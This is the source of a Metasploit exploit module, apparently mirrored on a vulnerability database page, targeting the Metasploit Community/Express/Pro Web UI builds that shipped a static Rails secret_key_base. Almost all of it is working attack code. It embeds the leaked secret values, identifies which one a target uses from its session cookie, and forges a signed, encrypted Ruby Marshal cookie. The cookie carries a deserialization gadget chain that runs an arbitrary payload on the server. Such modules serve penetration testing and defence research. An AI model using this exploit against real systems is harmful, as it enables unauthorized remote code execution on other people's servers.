# Rapid7 作为 Metasploit 官方在9月就接受了漏洞作者的利用模块提交,在 Metasploit Framework 里可用。
# 源码来源 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/metasploit_static_secret_key_base.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
#Helper Classes copy/paste from Rails4
class MessageVerifier
class InvalidSignature < StandardError; end
def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end
def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end
def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end
end
class MessageEncryptor
module NullSerializer #:nodoc:
def self.load(value)
value
end
def self.dump(value)
value
end
end
class InvalidMessage < StandardError; end
OpenSSLCipherError = OpenSSL::Cipher::CipherError
def initialize(secret, *signature_key_or_options)
options = signature_key_or_options.extract_options!
sign_secret = signature_key_or_options.first
@secret = secret
@sign_secret = sign_secret
@cipher = options[:cipher] || 'aes-256-cbc'
@verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer)
# @serializer = options[:serializer] || Marshal
end
def encrypt_and_sign(value)
@verifier.generate(_encrypt(value))
end
def _encrypt(value)
cipher = new_cipher
cipher.encrypt
cipher.key = @secret
# Rely on OpenSSL for the initialization vector
iv = cipher.random_iv
#encrypted_data = cipher.update(@serializer.dump(value))
encrypted_data = cipher.update(value)
encrypted_data << cipher.final
[encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--")
end
def new_cipher
OpenSSL::Cipher::Cipher.new(@cipher)
end
end
class KeyGenerator
def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end
def generate_key(salt, key_size=64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end
end
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Static secret_key_base Value',
'Description' => %q{
This module exploits the Web UI for Metasploit Community, Express and
Pro where one of a certain set of Weekly Releases have been applied.
These Weekly Releases introduced a static secret_key_base value.
Knowledge of the static secret_key_base value allows for
deserialization of a crafted Ruby Object, achieving code execution.
This module is based on
exploits/multi/http/rails_secret_deserialization
},
'Author' =>
[
'Justin Steven', # @justinsteven
'joernchen of Phenoelit <joernchen[at]phenoelit.de>' # author of rails_secret_deserialization
],
'License' => MSF_LICENSE,
'References' =>
[
['OVE', '20160904-0002'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'],
['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md']
],
'DisclosureDate' => 'Sep 15 2016',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [ ['Automatic', {} ] ],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true
}
))
register_options(
[
Opt::RPORT(3790),
OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]),
], self.class)
end
#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%Q^
code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
def check_secret(data, digest, secret)
data = Rex::Text.uri_decode(data)
keygen = KeyGenerator.new(secret,{:iterations => 1000})
sigkey = keygen.generate_key('signed encrypted cookie')
digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data)
end
def get_secret(data, digest)
secrets = [
['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'],
['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'],
['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'],
['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'],
['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'],
['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'],
['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c']
]
for secret in secrets
return secret if check_secret(data, digest, secret[1])
end
[nil, nil]
end
def build_signed_cookie(secret)
keygen = KeyGenerator.new(secret,{:iterations => 1000})
enckey = keygen.generate_key('encrypted cookie')
sigkey = keygen.generate_key('signed encrypted cookie')
crypter = MessageEncryptor.new(enckey, sigkey)
# Embed the payload within detached stub
code =
"eval('" +
Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) +
"'.unpack('m0').first)"
# Embed code within Rails 4 popchain
cookie = "\x04\b" +
"o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" +
":\x0E@instanceo" +
":\bERB\x07" +
":\t@src"+ Marshal.dump(code)[2..-1] +
":\x0c@lineno"+ "i\x00" +
":\f@method:\vresult:" +
"\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00"
crypter.encrypt_and_sign(cookie)
end
def check
cookie_name = '_ui_session'
vprint_status("Checking for cookie #{cookie_name}")
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
}, 25)
unless res
return Exploit::CheckCode::Unknown # Target didn't respond
end
if res.get_cookies.empty?
return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue.
end
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
unless match
return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue.
end
if match[1] == cookie_name
vprint_status("Found cookie")
else
vprint_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end
vprint_status("Searching for proper secret")
(version, secret) = get_secret(match[2], match[3])
if secret
vprint_status("Found secret, detected version #{version}")
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
#
# Send the actual request
#
def exploit
cookie_name = '_ui_session'
print_status("Checking for cookie #{cookie_name}")
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
}, 25)
unless res
fail_with(Failure::Unreachable, "Target didn't respond")
end
if res.get_cookies.empty?
fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.")
end
match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/)
unless match
fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.")
end
if match[1] == cookie_name
vprint_status("Found cookie")
else
print_status("Adjusting cookie name to #{match[1]}")
cookie_name = match[1]
end
print_status("Searching for proper secret")
(version, secret) = get_secret(match[2], match[3])
unless secret
fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?")
end
print_status("Found secret, detected version #{version}")
cookie = build_signed_cookie(secret)
print_status "Sending cookie #{cookie_name}"
res = send_request_cgi({
'uri' => datastore['TARGETURI'] || "/",
'method' => 'GET',
'headers' => {'Cookie' => cookie_name+"="+ cookie},
}, 25)
handler
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation